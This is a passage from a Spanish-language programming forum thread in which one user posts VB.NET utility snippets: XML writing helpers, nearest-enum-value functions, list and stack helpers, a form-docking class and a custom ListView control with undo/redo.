  163.            XmlWriter.Formatting = Not Indentation
  164.  
  165.        Catch ex As System.Text.EncoderFallbackException
  166.            Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
  167.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  168.            ' MessageBox.Show(errormsg)
  169.  
  170.        Catch ex As InvalidOperationException
  171.            Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
  172.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  173.            ' MessageBox.Show(errormsg)
  174.  
  175.        Catch ex As Exception
  176.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  177.  
  178.        End Try
  179.  
  180.    End Sub
  181.  
  182.    ''' <summary>
  183.    ''' Writes an element.
  184.    ''' </summary>
  185.    Shared Sub Write_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
  186.                                  ByVal StartElement As String, _
  187.                                  ByVal Element As String, _
  188.                                  Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
  189.  
  190.        Try
  191.            XmlWriter.Formatting = Indentation
  192.            XmlWriter.WriteStartElement(StartElement)
  193.            XmlWriter.WriteString(Element)
  194.            XmlWriter.WriteEndElement()
  195.            XmlWriter.Formatting = Not Indentation
  196.  
  197.        Catch ex As System.Text.EncoderFallbackException
  198.            Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
  199.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  200.            ' MessageBox.Show(errormsg)
  201.  
  202.        Catch ex As InvalidOperationException
  203.            Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
  204.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  205.            ' MessageBox.Show(errormsg)
  206.  
  207.        Catch ex As Exception
  208.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  209.  
  210.        End Try
  211.  
  212.    End Sub
  213.  
  214.    ''' <summary>
  215.    ''' Writes multiple elements.
  216.    ''' </summary>
  217.    Shared Sub Write_Elements(ByVal XmlWriter As Xml.XmlTextWriter, _
  218.                                   ByVal Elements As String(,), _
  219.                                   Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
  220.  
  221.        Try
  222.  
  223.            XmlWriter.Formatting = Indentation
  224.  
  225.            For x As Integer = 0 To Elements.GetUpperBound(0)
  226.                XmlWriter.WriteStartElement(Elements(x, 0))
  227.                XmlWriter.WriteString(Elements(x, 1))
  228.                XmlWriter.WriteEndElement()
  229.            Next
  230.  
  231.            XmlWriter.Formatting = Not Indentation
  232.  
  233.        Catch ex As System.Text.EncoderFallbackException
  234.            Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
  235.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  236.            ' MessageBox.Show(errormsg)
  237.  
  238.        Catch ex As InvalidOperationException
  239.            Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
  240.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  241.            ' MessageBox.Show(errormsg)
  242.  
  243.        Catch ex As Exception
  244.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  245.  
  246.        End Try
  247.  
  248.    End Sub
  249.  
  250.    ''' <summary>
  251.    ''' Writes the xml end of file.
  252.    ''' </summary>
  253.    Shared Sub Write_End(ByVal XmlWriter As Xml.XmlTextWriter)
  254.  
  255.        Try
  256.            XmlWriter.WriteEndDocument()
  257.            XmlWriter.Close()
  258.  
  259.        Catch ex As ArgumentException
  260.            Dim errormsg As String = "The XML document is invalid."
  261.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  262.            ' MessageBox.Show(errormsg)
  263.  
  264.        Catch ex As Exception
  265.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  266.  
  267.        End Try
  268.  
  269.    End Sub
  270.  
  271. End Class
  272.  
  273. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 1 Noviembre 2013, 14:56 pm
Dado un número, devuelve el valor más próximo de un Enum.

Código
  1.    #Region " Get Nearest Enum Value "
  2.  
  3.       ' [ Get Nearest Enum Value ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       '
  9.       ' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
  10.       ' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(133).ToString) ' Result: kbps_128
  11.       ' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000)) ' Result: 174
  12.  
  13.    Private Function Get_Nearest_Enum_Value(Of T)(ByVal value As Long) As T
  14.  
  15.        Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  16.                                               Cast(Of Object).
  17.                                               OrderBy(Function(br) Math.Abs(value - br)).
  18.                                               First)
  19.  
  20.    End Function
  21.  
  22.    #End Region



Dado un número, devuelve el valor próximo más bajo de un Enum.

Código
  1.    #Region " Get Nearest Lower Enum Value "
  2.  
  3.       ' [ Get Nearest Lower Enum Value ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       '
  9.       ' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
  10.       ' MsgBox(Get_Nearest_Lower_Enum_Value(Of Bitrate)(190).ToString) ' Result: kbps_128
  11.       ' MsgBox(Get_Nearest_Lower_Enum_Value(Of Bitrate)(196).ToString) ' Result: kbps_192
  12.  
  13.    Private Function Get_Nearest_Lower_Enum_Value(Of T)(ByVal value As Integer) As T
  14.  
  15.        Select Case value
  16.  
  17.            Case Is < [Enum].GetValues(GetType(T)).Cast(Of Object).First
  18.                Return Nothing
  19.  
  20.            Case Else
  21.                Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  22.                                                       Cast(Of Object)().
  23.                                                       Where(Function(enum_value) enum_value <= value).
  24.                                                       Last)
  25.        End Select
  26.  
  27.    End Function
  28.  
  29.    #End Region




Dado un número, devuelve el valor próximo más alto de un Enum.

Código
  1.    #Region " Get Nearest Higher Enum Value "
  2.  
  3.       ' [ Get Nearest Higher Enum Value ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       '
  9.       ' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
  10.       ' MsgBox(Get_Nearest_Higher_Enum_Value(Of Bitrate)(196).ToString) ' Result: kbps_256
  11.       ' MsgBox(Get_Nearest_Higher_Enum_Value(Of KnownColor)(1000)) ' Result: 0
  12.  
  13.    Private Function Get_Nearest_Higher_Enum_Value(Of T)(ByVal value As Integer) As T
  14.  
  15.        Select Case value
  16.  
  17.            Case Is > [Enum].GetValues(GetType(T)).Cast(Of Object).Last
  18.                Return Nothing
  19.  
  20.            Case Else
  21.  
  22.                Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  23.                                                       Cast(Of Object).
  24.                                                       Where(Function(enum_value) enum_value >= value).
  25.                                                       FirstOrDefault)
  26.        End Select
  27.  
  28.    End Function
  29.  
  30.    #End Region

EDITO:

Aquí todos juntos:

Código
  1.    #Region " Get Nearest Enum Value "
  2.  
  3.        ' [ Get Nearest Enum Value ]
  4.        '
  5.        ' // By Elektro H@cker
  6.        '
  7.        ' Examples :
  8.        '
  9.        ' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(133, Enum_Direction.Nearest).ToString) ' Result: kbps_128
  10.        ' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000, Enum_Direction.Nearest)) ' Result: 174
  11.        '
  12.        ' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(190, Enum_Direction.Down).ToString) ' Result: kbps_128
  13.        ' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(-1, Enum_Direction.Down).ToString) ' Result: 0
  14.        '
  15.        ' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(196, Enum_Direction.Up).ToString) ' Result: kbps_256
  16.        ' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000, Enum_Direction.Up)) ' Result: 0
  17.  
  18.    Private Enum Enum_Direction As Short
  19.        Down = 1
  20.        Up = 2
  21.        Nearest = 0
  22.    End Enum
  23.  
  24.    Private Function Get_Nearest_Enum_Value(Of T)(ByVal value As Long, _
  25.                                                  Optional ByVal direction As Enum_Direction = Enum_Direction.Nearest) As T
  26.  
  27.        Select Case direction
  28.  
  29.            Case Enum_Direction.Nearest ' Return nearest Enum value
  30.                Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  31.                                                       Cast(Of Object).
  32.                                                       OrderBy(Function(br) Math.Abs(value - br)).
  33.                                                       First)
  34.  
  35.            Case Enum_Direction.Down ' Return nearest lower Enum value
  36.                If value < [Enum].GetValues(GetType(T)).Cast(Of Object).First Then
  37.                    Return Nothing
  38.                Else
  39.                    Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  40.                                                           Cast(Of Object)().
  41.                                                           Where(Function(enum_value) enum_value <= value).
  42.                                                           Last)
  43.                End If
  44.  
  45.            Case Enum_Direction.Up ' Return nearest higher Enum value
  46.                If value > [Enum].GetValues(GetType(T)).Cast(Of Object).Last Then
  47.                    Return Nothing
  48.                Else
  49.                    Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
  50.                                                           Cast(Of Object).
  51.                                                           Where(Function(enum_value) enum_value >= value).
  52.                                                           FirstOrDefault)
  53.                End If
  54.  
  55.        End Select
  56.  
  57.    End Function
  58.  
  59.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Noviembre 2013, 21:04 pm
· Juntar múltiples listas:

Código
  1. #Region " Join Lists "
  2.  
  3.    ' [ Join Lists ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Dim list_A As New List(Of String) From {"a", "b"}
  10.    ' Dim list_B As New List(Of String) From {"c", "d"}
  11.    ' Dim newlist As List(Of String) = Join_Lists(Of String)({list_A, list_B}) ' Result: {"a", "b", "c", "d"}
  12.  
  13.    Private Function Join_Lists(Of T)(ByVal Lists() As List(Of T)) As List(Of T)
  14.        Return Lists.SelectMany(Function(l) l).ToList
  15.    End Function
  16.  
  17. #End Region





· Revertir un Stack:

Código
  1. #Region " Reverse Stack "
  2.  
  3.    ' [ Reverse Stack ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim MyStack As New Stack(Of String)
  8.    '
  9.    ' MyStack.Push("S") : MyStack.Push("T") : MyStack.Push("A") : MyStack.Push("C") : MyStack.Push("K")
  10.    '
  11.    ' MyStack = Reverse_Stack(Of String)(MyStack)
  12.    '
  13.    ' For Each value In MyStack
  14.    '     MsgBox(value)
  15.    ' Next
  16.  
  17.    Private Function Reverse_Stack(Of T)(stack As Stack(Of T)) As Stack(Of T)
  18.        Return New Stack(Of T)(stack)
  19.    End Function
  20.  
  21. #End Region





· Eliminar las lineas vacias de un archivo de texto:

Código
  1. #Region " Delete Empty Lines In TextFile "
  2.  
  3.    ' [ Delete Empty Lines In TextFile ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Delete_Empty_Lines_In_TextFile("C:\File.txt")
  10.    ' Delete_Empty_Lines_In_TextFile("C:\File.txt", System.Text.Encoding.GetEncoding(1252))
  11.  
  12.    Private Sub Delete_Empty_Lines_In_TextFile(ByVal file As String, _
  13.                                               Optional ByVal encoding As System.Text.Encoding = Nothing)
  14.  
  15.        IO.File.WriteAllLines(file, IO.File.ReadAllLines(file) _
  16.                                    .Where(Function(line) Not String.IsNullOrEmpty(line)) _
  17.                                    , If(encoding Is Nothing, System.Text.Encoding.Default, encoding))
  18.  
  19.    End Sub
  20.  
  21. #End Region




Y por último esta Class para dockear un Form,
le añadí lo necesario para poder bloquear la posición del form (no el tamaño, me parece irrelevante).

Código
  1. ' [ Form Dock ]
  2. '
  3. ' // By Elektro H@cker
  4.  
  5. #Region " Usage Examples "
  6.  
  7. ' Private _formdock As New FormDock(Me) With {.LockPosition = True}
  8. '
  9. ' Private Shadows Sub Shown() Handles MyBase.Shown
  10. '
  11. '   _formdock.Dock(FormDock.DockPosition.WorkingArea_BottomRight)
  12. '
  13. ' End Sub
  14.  
  15. #End Region
  16.  
  17. #Region " Form Dock "
  18.  
  19. Public Class FormDock
  20.    Inherits NativeWindow
  21.    Implements IDisposable
  22.  
  23. #Region " Variables, Properties and Enumerations "
  24.  
  25.    ''' <summary>
  26.    ''' While the property still Enabled it will locks the formulary position.
  27.    ''' </summary>
  28.    Public Property LockPosition As Boolean = False
  29.  
  30.    ''' <summary>
  31.    ''' Stores the formulary to Dock.
  32.    ''' </summary>
  33.    Private WithEvents form As Form = Nothing
  34.  
  35.    ''' <summary>
  36.    ''' Stores the size of the formulary to Dock.
  37.    ''' </summary>
  38.    Private UI_Size As Size = Nothing
  39.  
  40.    ''' <summary>
  41.    ''' Stores the Dock positions.
  42.    ''' </summary>
  43.    Private Dock_Positions As Dictionary(Of DockPosition, Point)
  44.  
  45.    ''' <summary>
  46.    ''' Dock Positions.
  47.    ''' </summary>
  48.    Public Enum DockPosition As Short
  49.        Center_Screen = 0
  50.        Bounds_BottomLeft = 1
  51.        Bounds_BottomRight = 2
  52.        Bounds_TopLeft = 3
  53.        Bounds_TopRight = 4
  54.        WorkingArea_BottomLeft = 5
  55.        WorkingArea_BottomRight = 6
  56.        WorkingArea_TopLeft = 7
  57.        WorkingArea_TopRight = 8
  58.    End Enum
  59.  
  60. #End Region
  61.  
  62. #Region " New Constructor "
  63.  
  64.    Public Sub New(ByVal form As Form)
  65.  
  66.        Me.form = form
  67.        SetHandle()
  68.  
  69.    End Sub
  70.  
  71. #End Region
  72.  
  73. #Region " Public Procedures "
  74.  
  75.    ''' <summary>
  76.    ''' Docks the form.
  77.    ''' </summary>
  78.    Public Sub Dock(ByVal Position As DockPosition)
  79.  
  80.        If Dock_Positions Is Nothing Then
  81.            Renew_Positions(form)
  82.        End If
  83.  
  84.        form.Location = Dock_Positions(Position)
  85.  
  86.    End Sub
  87.  
  88. #End Region
  89.  
  90. #Region " Miscellaneous Procedures "
  91.  
  92.    ''' <summary>
  93.    ''' Renews the Dock positions according to the the current form Size.
  94.    ''' </summary>
  95.    Private Sub Renew_Positions(ByVal form As Form)
  96.  
  97.        UI_Size = form.Size
  98.  
  99.        Dock_Positions = New Dictionary(Of DockPosition, Point) _
  100.        From {
  101.                 {DockPosition.Center_Screen,
  102.                               New Point((Screen.PrimaryScreen.Bounds.Width - UI_Size.Width) \ 2,
  103.                                         (Screen.PrimaryScreen.Bounds.Height - UI_Size.Height) \ 2)},
  104.                 {DockPosition.Bounds_BottomLeft,
  105.                               New Point(Screen.PrimaryScreen.Bounds.X,
  106.                                         Screen.PrimaryScreen.Bounds.Height - UI_Size.Height)},
  107.                 {DockPosition.Bounds_BottomRight,
  108.                           New Point(Screen.PrimaryScreen.Bounds.Width - UI_Size.Width,
  109.                                     Screen.PrimaryScreen.Bounds.Height - UI_Size.Height)},
  110.                 {DockPosition.Bounds_TopLeft,
  111.                               New Point(Screen.PrimaryScreen.Bounds.X,
  112.                                         Screen.PrimaryScreen.Bounds.Y)},
  113.                 {DockPosition.Bounds_TopRight,
  114.                               New Point(Screen.PrimaryScreen.Bounds.Width - UI_Size.Width,
  115.                                         Screen.PrimaryScreen.Bounds.Y)},
  116.                 {DockPosition.WorkingArea_BottomLeft,
  117.                               New Point(Screen.PrimaryScreen.WorkingArea.X,
  118.                                         Screen.PrimaryScreen.WorkingArea.Height - UI_Size.Height)},
  119.                 {DockPosition.WorkingArea_BottomRight,
  120.                               New Point(Screen.PrimaryScreen.WorkingArea.Width - UI_Size.Width,
  121.                                         Screen.PrimaryScreen.WorkingArea.Height - UI_Size.Height)},
  122.                 {DockPosition.WorkingArea_TopLeft,
  123.                               New Point(Screen.PrimaryScreen.WorkingArea.X,
  124.                                         Screen.PrimaryScreen.WorkingArea.Y)},
  125.                 {DockPosition.WorkingArea_TopRight,
  126.                               New Point(Screen.PrimaryScreen.WorkingArea.Width - UI_Size.Width,
  127.                                         Screen.PrimaryScreen.WorkingArea.Y)}
  128.            }
  129.  
  130.    End Sub
  131.  
  132. #End Region
  133.  
  134. #Region " Form EventHandlers "
  135.  
  136.    ''' <summary>
  137.    ''' Renews the Dock positions according to the the current form Size,
  138.    ''' when Form is Shown.
  139.    ''' </summary>
  140.    Private Sub OnShown() _
  141.    Handles form.Shown
  142.  
  143.        If Not UI_Size.Equals(Me.form.Size) Then
  144.            Renew_Positions(Me.form)
  145.        End If
  146.  
  147.    End Sub
  148.  
  149.    ''' <summary>
  150.    ''' Renews the Dock positions according to the the current form Size,
  151.    ''' When Form is resized.
  152.    ''' </summary>
  153.    Private Sub OnResizeEnd() _
  154.    Handles form.ResizeEnd
  155.  
  156.        If Not UI_Size.Equals(Me.form.Size) Then
  157.            Renew_Positions(Me.form)
  158.        End If
  159.  
  160.    End Sub
  161.  
  162.    ''' <summary>
  163.    ''' SetHandle
  164.    ''' Assign the handle of the target form to this NativeWindow,
  165.    ''' necessary to override WndProc.
  166.    ''' </summary>
  167.    Private Sub SetHandle() Handles _
  168.        form.HandleCreated,
  169.        form.Load,
  170.        form.Shown
  171.  
  172.        Try
  173.            If Not Me.Handle.Equals(Me.form.Handle) Then
  174.                Me.AssignHandle(Me.form.Handle)
  175.            End If
  176.        Catch ex As InvalidOperationException
  177.        End Try
  178.  
  179.    End Sub
  180.  
  181.    ''' <summary>
  182.    ''' Releases the Handle.
  183.    ''' </summary>
  184.    Private Sub OnHandleDestroyed() _
  185.    Handles form.HandleDestroyed
  186.  
  187.        Me.ReleaseHandle()
  188.  
  189.    End Sub
  190.  
  191. #End Region
  192.  
  193. #Region " Windows Messages "
  194.  
  195.    ''' <summary>
  196.    ''' WndProc Message Interception.
  197.    ''' </summary>
  198.    Protected Overrides Sub WndProc(ByRef m As Message)
  199.  
  200.        If Me.LockPosition Then
  201.  
  202.            Select Case m.Msg
  203.  
  204.                Case &HA1
  205.                    ' Cancels any attempt to drag the window by it's caption.
  206.                    If m.WParam.ToInt32 = &H2 Then Return
  207.  
  208.                Case &H112
  209.                    ' Cancels any clicks on the Move system menu item.
  210.                    If (m.WParam.ToInt32 And &HFFF0) = &HF010& Then Return
  211.  
  212.            End Select
  213.  
  214.        End If
  215.  
  216.        ' Return control to base message handler.
  217.        MyBase.WndProc(m)
  218.  
  219.    End Sub
  220.  
  221. #End Region
  222.  
  223. #Region " IDisposable "
  224.  
  225.    ''' <summary>
  226.    ''' Disposes the objects generated by this instance.
  227.    ''' </summary>
  228.    Public Sub Dispose() Implements IDisposable.Dispose
  229.        Dispose(True)
  230.        GC.SuppressFinalize(Me)
  231.    End Sub
  232.  
  233.    Protected Overridable Sub Dispose(IsDisposing As Boolean)
  234.  
  235.        Static IsBusy As Boolean ' To detect redundant calls.
  236.  
  237.        If Not IsBusy AndAlso IsDisposing Then
  238.  
  239.            Me.LockPosition = False
  240.            Me.ReleaseHandle()
  241.  
  242.        End If
  243.  
  244.        IsBusy = True
  245.  
  246.    End Sub
  247.  
  248. #End Region
  249.  
  250. End Class
  251.  
  252. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2013, 01:15 am
Una nueva versión de mi Listview, que tiene muchas cosas interesantes como poder dibujar una barra de progreso en una celda...

Ahora le añadí lo básico para hacer undo/redo para añadir o eliminar items.

Una pequeña demostración:

0NQ0-f_gPbs

Un ejemplo de uso:

Código
  1. Public Class Form1
  2.  
  3.    Private Sub Form_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  4.  
  5.        ' Enable the Undo/Redo Manager
  6.        ListView_Elektro1.Enable_UndoRedo_Manager = True
  7.  
  8.        ' Create an Item
  9.        Dim LVItem As New ListViewItem With {.Text = "Hello World"}
  10.  
  11.        ' Add the item
  12.        ListView_Elektro1.AddItem(LVItem)
  13.  
  14.        ' Remove the item
  15.        'ListView_Elektro1.RemoveItem(LVItem)
  16.  
  17.    End Sub
  18.  
  19.    ' Undo an operation
  20.    Private Sub Button_Undo_Click(sender As Object, e As EventArgs) Handles Button_Undo.Click
  21.        ListView_Elektro1.Undo()
  22.    End Sub
  23.  
  24.    ' Redo an operation
  25.    Private Sub Button_Redo_Click(sender As Object, e As EventArgs) Handles Button_Redo.Click
  26.        ListView_Elektro1.Redo()
  27.    End Sub
  28.  
  29.    ' Handles when an Undo or Redo operation is performed
  30.    Private Sub UndoRedo_Performed(sender As Object, e As ListView_Elektro.UndoneRedoneEventArgs) _
  31.    Handles ListView_Elektro1.UndoRedo_IsPerformed
  32.  
  33.        MsgBox(e.Operation.ToString)
  34.        MsgBox(e.Method.ToString)
  35.        MsgBox(e.Item.Text)
  36.  
  37.    End Sub
  38.  
  39.    ' Handles when a Undo or Redo stack size changed
  40.    Private Sub UndoRedo_StackSizeChanged(sender As Object, e As ListView_Elektro.StackSizeChangedEventArgs) _
  41.    Handles ListView_Elektro1.UndoRedo_StackSizeChanged
  42.  
  43.        MsgBox(e.UndoStackIsEmpty)
  44.        MsgBox(e.RedoStackIsEmpty)
  45.  
  46.    End Sub
  47.  
  48. End Class


El código completo del UserControl listo para ser compilado:

Código
  1. '  /*                  *\
  2. ' |#* ListView Elektro *#|
  3. '  \*                  */
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. '   Properties:
  8. '   -----------
  9. ' · Disable_Flickering
  10. ' · Double_Buffer
  11. ' · GridLineColor
  12. ' · ItemHighlightColor
  13. ' · ItemNotFocusedHighlighColor
  14. ' · DrawCustomGridLines
  15. ' · UseDefaultGridLines
  16. ' · Enable_ProgressBar
  17. ' · Progressbar_Column
  18. ' · ProgressBar_BackColor
  19. ' · ProgressBar_BorderColor
  20. ' · ProgressBar_FillColor1
  21. ' · ProgressBar_FillColor2
  22. ' · Percent
  23. ' · Percent_Decimal
  24. ' · Percent_Font
  25. ' · Percent_Text
  26. ' · Percent_Forecolor
  27. ' · Percent_Text_Allignment
  28. ' · Enable_UndoRedo_Manager
  29.  
  30. '   Events:
  31. '   -------
  32. ' · ItemAdded
  33. ' · ItemRemoved
  34. ' · UndoRedo_IsPerformed
  35. ' · UndoRedo_StackSizeChanged
  36. '
  37. '   Methods:
  38. '   --------
  39. ' · AddItem
  40. ' · AddItems
  41. ' · RemoveItem
  42. ' · RemoveItems
  43. ' · Undo
  44. ' · Redo
  45.  
  46. Public Class ListView_Elektro : Inherits ListView
  47.  
  48.    Public Event ItemAdded As EventHandler(Of ItemAddedEventArgs)
  49.    Public Class ItemAddedEventArgs : Inherits EventArgs
  50.        Property Item As ListViewItem
  51.    End Class
  52.  
  53.    Public Event ItemRemoved As EventHandler(Of ItemRemovedEventArgs)
  54.    Public Class ItemRemovedEventArgs : Inherits EventArgs
  55.        Property Item As ListViewItem
  56.    End Class
  57.  
  58.    Private _Disable_Flickering As Boolean = True
  59.    Private _gridLines As Boolean = False
  60.    Private _useDefaultGridLines As Boolean = False
  61.    Private _gridLineColor As Color = Color.Black
  62.    Private _itemHighlightColor As Color = Color.FromKnownColor(KnownColor.Highlight)
  63.    Private _itemNotFocusedHighlighColor As Color = Color.FromKnownColor(KnownColor.MenuBar)
  64.  
  65.    Private _enable_progressbar As Boolean = False
  66.    Private _progressbar_column As Integer = Nothing
  67.  
  68.    Private _percent As Double = 0
  69.    Private _percent_decimal As Short = 2
  70.    Private _percent_text As String = "%"
  71.    Private _percent_text_allignment As StringAlignment = StringAlignment.Center
  72.    Private _percent_stringformat As StringFormat = New StringFormat With {.Alignment = _percent_text_allignment}
  73.    Private _percent_font As Font = Me.Font
  74.    Private _percent_forecolor As SolidBrush = New SolidBrush(Color.Black)
  75.  
  76.    Private _progressBar_backcolor As SolidBrush = New SolidBrush(Color.Red)
  77.    Private _progressBar_bordercolor As Pen = New Pen(Color.LightGray)
  78.    Private _progressBar_fillcolor1 As Color = Color.YellowGreen
  79.    Private _progressBar_fillcolor2 As Color = Color.White
  80.  
  81.    Public Sub New()
  82.  
  83.        Me.Name = "ListView_Elektro"
  84.        Me.DoubleBuffered = True
  85.        Me.UseDefaultGridLines = True
  86.  
  87.        ' Set Listview OwnerDraw to True, so we can draw the progressbar inside.
  88.        If Me.Enable_ProgressBar Then Me.OwnerDraw = True
  89.  
  90.        Me.GridLines = True
  91.        Me.FullRowSelect = True
  92.        Me.MultiSelect = True
  93.        Me.View = View.Details
  94.  
  95.    End Sub
  96.  
  97. #Region " Properties "
  98.  
  99.    ''' <summary>
  100.    ''' Enable/Disable any flickering effect on the ListView.
  101.    ''' </summary>
  102.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  103.        Get
  104.            If _Disable_Flickering Then
  105.                Dim cp As CreateParams = MyBase.CreateParams
  106.                cp.ExStyle = cp.ExStyle Or &H2000000
  107.                Return cp
  108.            Else
  109.                Return MyBase.CreateParams
  110.            End If
  111.        End Get
  112.    End Property
  113.  
  114.    ''' <summary>
  115.    ''' Set the Double Buffer.
  116.    ''' </summary>
  117.    Public Property Double_Buffer() As Boolean
  118.        Get
  119.            Return Me.DoubleBuffered
  120.        End Get
  121.        Set(ByVal Value As Boolean)
  122.            Me.DoubleBuffered = Value
  123.        End Set
  124.    End Property
  125.  
  126.    ''' <summary>
  127.    ''' Enable/Disable the flickering effects on this ListView.
  128.    '''
  129.    ''' This property turns off any Flicker effect on the ListView
  130.    ''' ...but also reduces the performance (speed) of the ListView about 30% slower.
  131.    ''' This don't affect to the performance of the application itself, only to the performance of this control.
  132.    ''' </summary>
  133.    Public Property Disable_Flickering() As Boolean
  134.        Get
  135.            Return _Disable_Flickering
  136.        End Get
  137.        Set(ByVal Value As Boolean)
  138.            Me._Disable_Flickering = Value
  139.        End Set
  140.    End Property
  141.  
  142.    ''' <summary>
  143.    ''' Changes the gridline color.
  144.    ''' </summary>
  145.    Public Property GridLineColor() As Color
  146.        Get
  147.            Return _gridLineColor
  148.        End Get
  149.        Set(ByVal value As Color)
  150.            If value <> _gridLineColor Then
  151.                _gridLineColor = value
  152.                If _gridLines Then
  153.                    Me.Invalidate()
  154.                End If
  155.            End If
  156.        End Set
  157.    End Property
  158.  
  159.    ''' <summary>
  160.    ''' Changes the color when item is highlighted.
  161.    ''' </summary>
  162.    Public Property ItemHighlightColor() As Color
  163.        Get
  164.            Return _itemHighlightColor
  165.        End Get
  166.        Set(ByVal value As Color)
  167.            If value <> _itemHighlightColor Then
  168.                _itemHighlightColor = value
  169.                Me.Invalidate()
  170.            End If
  171.        End Set
  172.    End Property
  173.  
  174.    ''' <summary>
  175.    ''' Changes the color when the item is not focused.
  176.    ''' </summary>
  177.    Public Property ItemNotFocusedHighlighColor() As Color
  178.        Get
  179.            Return _itemNotFocusedHighlighColor
  180.        End Get
  181.        Set(ByVal value As Color)
  182.            If value <> _itemNotFocusedHighlighColor Then
  183.                _itemNotFocusedHighlighColor = value
  184.                Me.Invalidate()
  185.            End If
  186.        End Set
  187.    End Property
  188.  
  189.    Private ReadOnly Property DrawCustomGridLines() As Boolean
  190.        Get
  191.            Return (_gridLines And Not _useDefaultGridLines)
  192.        End Get
  193.    End Property
  194.  
  195.    Public Shadows Property GridLines() As Boolean
  196.        Get
  197.            Return _gridLines
  198.        End Get
  199.        Set(ByVal value As Boolean)
  200.            _gridLines = value
  201.        End Set
  202.    End Property
  203.  
  204.    ''' <summary>
  205.    ''' use the default gridlines.
  206.    ''' </summary>
  207.    Public Property UseDefaultGridLines() As Boolean
  208.        Get
  209.            Return _useDefaultGridLines
  210.        End Get
  211.        Set(ByVal value As Boolean)
  212.            If _useDefaultGridLines <> value Then
  213.                _useDefaultGridLines = value
  214.            End If
  215.            MyBase.GridLines = value
  216.            MyBase.OwnerDraw = Not value
  217.        End Set
  218.    End Property
  219. #End Region
  220.  
  221. #Region " Procedures "
  222.  
  223.    ''' <summary>
  224.    ''' Adds an Item to the ListView,
  225.    ''' to monitor when an Item is added to the ListView.
  226.    ''' </summary>
  227.    Public Function AddItem(ByVal Item As ListViewItem) As ListViewItem
  228.        Me.Items.Add(Item)
  229.        RaiseEvent ItemAdded(Me, New ItemAddedEventArgs With {.Item = Item})
  230.        Return Item
  231.    End Function
  232.    Public Function AddItem(ByVal Text As String) As ListViewItem
  233.        Dim NewItem As New ListViewItem(Text)
  234.        Me.Items.Add(NewItem)
  235.        RaiseEvent ItemAdded(Me, New ItemAddedEventArgs With {.Item = NewItem})
  236.        Return NewItem
  237.    End Function
  238.  
  239.    ''' <summary>
  240.    ''' Removes an Item from the ListView
  241.    ''' to monitor when an Item is removed from the ListView.
  242.    ''' </summary>
  243.    Public Sub RemoveItem(ByVal Item As ListViewItem)
  244.        Me.Items.Remove(Item)
  245.        RaiseEvent ItemRemoved(Me, New ItemRemovedEventArgs With {.Item = Item})
  246.    End Sub
  247.  
  248.    ''' <summary>
  249.    ''' Removes an Item from the ListView at given Index
  250.    ''' to monitor when an Item is removed from the ListView.
  251.    ''' </summary>
  252.    Public Sub RemoveItem_At(ByVal Index As Integer)
  253.        RemoveItem(Me.Items.Item(Index))
  254.    End Sub
  255.  
  256.    ''' <summary>
  257.    ''' Removes an Item from the ListView at given Index
  258.    ''' to monitor when an Item is removed from the ListView.
  259.    ''' </summary>
  260.    Public Sub RemoveItems_At(ByVal Indexes As Integer())
  261.        Array.Sort(Indexes)
